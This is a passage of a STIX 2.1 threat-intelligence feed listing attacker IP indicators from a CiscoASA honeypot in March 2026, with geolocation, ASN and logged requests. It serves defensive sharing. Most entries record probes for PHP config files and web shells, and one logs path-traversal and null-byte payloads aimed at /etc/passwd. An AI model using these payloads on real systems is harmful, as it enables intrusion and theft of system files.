      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.9.148.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-08T20:51:56.401Z",
          "last_seen": "2026-03-08T20:52:05.608Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 49447,
          "as_org": "Nice IT Services Group Inc.",
          "event_types": [
            "\"GET /_asterisk/tika.php?ery HTTP/1.1\" 404 -",
            "\"GET /admin/xml.php?ser HTTP/1.1\" 404 -",
            "\"GET /recordings/.tika.php?mnas HTTP/1.1\" 404 -",
            "\"GET /var/tika.php?bbt HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/xml.php?jhf HTTP/1.1\" 404 -",
            "\"GET /xml.php?vcd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /config/config.all.php?x HTTP/1.1\" 404 - geo: NL; ASN 60404 (The Infrastructure Group B.V.)",
      "id": "indicator--3ccc8c65-26ea-45da-acb1-7376967518c6",
      "labels": [
        "botnet_cc",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '5.255.125.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 7,
          "first_seen": "2026-03-08T21:01:29.969Z",
          "last_seen": "2026-03-08T21:01:39.910Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 60404,
          "as_org": "The Infrastructure Group B.V.",
          "event_types": [
            "\"GET /config/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /configs/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /controllers/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /css/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /digium_phones/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /elastixConnection/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /framework/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/info.php?xx HTTP/1.1\" 404 - geo: FR; ASN 20766 (Association Gitoyen)",
      "id": "indicator--addce225-99a2-4b2a-b733-57de89ce355e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.67.172.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 8,
          "first_seen": "2026-03-08T20:55:40.378Z",
          "last_seen": "2026-03-08T20:55:49.920Z",
          "country": "France",
          "country_code": "FR",
          "asn": 20766,
          "as_org": "Association Gitoyen",
          "event_types": [
            "\"GET /recordings/info.php?xx HTTP/1.1\" 404 -",
            "\"GET /recordings/ini.php?123 HTTP/1.1\" 404 -",
            "\"GET /recordings/is/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/jeep.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/just-emad.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/lol.php?123 HTTP/1.1\" 404 -",
            "\"GET /recordings/m2s.php?letter=asd HTTP/1.1\" 404 -",
            "\"GET /recordings/m7mood/config.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /welcome/config.all.php? HTTP/1.1\" 404 - geo: IS; ASN 50613 (Advania Island ehf)",
      "id": "indicator--17306128-c07f-40d7-9b4f-601469c71210",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '82.221.131.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T21:00:20.415Z",
          "last_seen": "2026-03-08T21:00:20.415Z",
          "country": "Iceland",
          "country_code": "IS",
          "asn": 50613,
          "as_org": "Advania Island ehf",
          "event_types": [
            "\"GET /welcome/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/ELLYAAS/config.php? HTTP/1.1\" 404 - geo: SE; ASN 33837 (Fredrik Holmqvist)",
      "id": "indicator--dcce7845-59a0-4df3-8372-74ffe998678e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '88.80.26.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-08T20:55:20.953Z",
          "last_seen": "2026-03-08T20:55:30.000Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 33837,
          "as_org": "Fredrik Holmqvist",
          "event_types": [
            "\"GET /recordings/ELLYAAS/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/ELMAYET/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/ec0ed5d0ec037dca5.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/em7e/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/emad-shell.php?34 HTTP/1.1\" 404 -",
            "\"GET /recordings/emad.php?45 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PL; ASN 210558 (1337 Services GmbH)",
      "id": "indicator--bf8fc26b-f0aa-4349-ad11-8a013558f958",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.206.169.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-08T20:48:43.772Z",
          "last_seen": "2026-03-08T20:48:55.460Z",
          "country": "Poland",
          "country_code": "PL",
          "asn": 210558,
          "as_org": "1337 Services GmbH",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"POST /admin/ajax.php?module=blacklist HTTP/1.1\" 200 -",
            "\"POST /admin/ajax.php HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 - geo: BG; ASN 214209 (Internet Magnate (Pty) Ltd)",
      "id": "indicator--892932a3-66d1-45a4-b885-ff485b6c917f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '94.156.152.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-08T21:00:22.001Z",
          "last_seen": "2026-03-08T21:00:31.524Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 214209,
          "as_org": "Internet Magnate (Pty) Ltd",
          "event_types": [
            "\"GET /.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 -",
            "\"GET /admin/modules/_cache/config.php? HTTP/1.1\" 404 -",
            "\"GET /admin/modules/config.php? HTTP/1.1\" 404 -",
            "\"GET /widgets/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /xmlservices/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /yii/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /panel/main.php.1?31 HTTP/1.1\" 404 - geo: DE; ASN 197540 (netcup GmbH)",
      "id": "indicator--86671c85-6ab9-496e-a31b-d07dafb67213",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '94.16.115.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-08T20:54:21.449Z",
          "last_seen": "2026-03-08T20:54:33.008Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 197540,
          "as_org": "netcup GmbH",
          "event_types": [
            "\"GET /panel/main.php.1?31 HTTP/1.1\" 404 -",
            "\"GET /panel/main.php.1?35 HTTP/1.1\" 404 -",
            "\"GET /panel/main.php.2?22 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T23:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: LT; ASN 209605 (UAB Host Baltic)",
      "id": "indicator--d1bdf4fa-03c3-4425-84f1-b38adfffeec7",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '141.98.10.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T23:20:09.000Z",
      "valid_until": "2026-04-09T23:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 275,
          "first_seen": "2026-03-08T22:46:45.736Z",
          "last_seen": "2026-03-11T05:05:25.516Z",
          "country": "Lithuania",
          "country_code": "LT",
          "asn": 209605,
          "as_org": "UAB Host Baltic",
          "event_types": [
            "\"GET /etc/passwd HTTP/1.1\" 404 -",
            "\"GET /freepbx.php?page=../../../../etc/passwd HTTP/1.1\" 404 -",
            "\"GET /freepbx.php?module=../../../../etc/passwd HTTP/1.1\" 404 -",
            "\"GET /%C3%AF%C2%BB%C2%BF/freepbx.php?page=../../../../etc/passwd HTTP/1.1\" 404 -",
            "\"GET //////////etc/passwd HTTP/1.1\" 404 -",
            "\"GET /?file=../../../../etc/passwd%00 HTTP/1.1\" 404 -",
            "\"GET /?file=../../../etc/passwd%00 HTTP/1.1\" 404 -",
            "\"GET /?filepath=/etc/passwd%00 HTTP/1.1\" 404 -",
            "\"GET /?include=../../../etc/passwd%00 HTTP/1.1\" 404 -",
            "\"GET /?page=../../../../etc/passwd%00 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--69103f7f-8bb8-4320-8f31-23d8d237ff1e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T01:20:10.000Z",
      "valid_until": "2026-04-10T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-09T00:37:41.124Z",
          "last_seen": "2026-03-09T00:37:41.780Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.130.168.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T01:20:10.000Z",
      "valid_until": "2026-04-10T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-09T00:26:08.111Z",
          "last_seen": "2026-03-26T17:48:15.112Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--92b2037b-f091-4a8b-9ded-cba3642036ea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '44.204.27.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T01:20:10.000Z",
      "valid_until": "2026-04-10T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-09T00:48:15.710Z",
          "last_seen": "2026-03-09T00:48:18.712Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--2259a7ae-bf8a-4448-814b-e4e249c3a0ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '44.204.29.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T01:20:10.000Z",
      "valid_until": "2026-04-10T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-09T00:47:57.752Z",
          "last_seen": "2026-03-09T00:47:57.752Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--68d3b2d5-38c9-4fa6-a00e-681da3e2d903",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '54.91.222.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T01:20:10.000Z",
      "valid_until": "2026-04-10T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-09T00:48:31.061Z",
          "last_seen": "2026-03-09T00:48:31.061Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--70dec905-af76-421e-bbe5-feb2dc9586bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:20:10.000Z",
      "valid_until": "2026-04-10T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-09T02:14:20.969Z",
          "last_seen": "2026-03-09T02:14:23.971Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--96ae7489-58a2-4d70-bf01-f8a74be6c784",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T04:20:13.000Z",
      "valid_until": "2026-04-10T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-09T03:54:52.416Z",
          "last_seen": "2026-03-09T03:56:01.688Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T07:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: BR; ASN 28267 (LANTEC COMUNICACAO MULTIMIDIA LTDA)",
      "id": "indicator--482d75be-57a7-485e-a733-5f7f1c5eb6f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '187.108.1.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T07:20:13.000Z",
      "valid_until": "2026-04-10T07:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 10,
          "first_seen": "2026-03-09T06:50:28.040Z",
          "last_seen": "2026-03-29T11:52:57.050Z",
          "country": "Brazil",
          "country_code": "BR",
          "asn": 28267,
          "as_org": "LANTEC COMUNICACAO MULTIMIDIA LTDA",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T08:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 49870 (Alsycon B.V.)",
      "id": "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '77.83.240.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T08:20:13.000Z",
      "valid_until": "2026-04-10T08:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-09T07:43:29.746Z",
          "last_seen": "2026-03-09T07:48:01.855Z",
          "country": "United States",
          "country_code": "US",
          "asn": 49870,
          "as_org": "Alsycon B.V.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET //admin/config.php HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T10:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--167af2fd-5a66-4ce3-8891-8b32b9373046",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T10:20:14.000Z",
      "valid_until": "2026-04-10T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-09T09:55:11.003Z",
          "last_seen": "2026-03-09T09:57:22.506Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T10:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4a3525aa-51b9-4214-9931-836e67cd319a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T10:20:14.000Z",
      "valid_until": "2026-04-10T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-09T09:55:47.237Z",
          "last_seen": "2026-03-09T09:57:21.214Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-09T10:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--5673d296-b69b-4724-b033-7a02f1cbb90c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
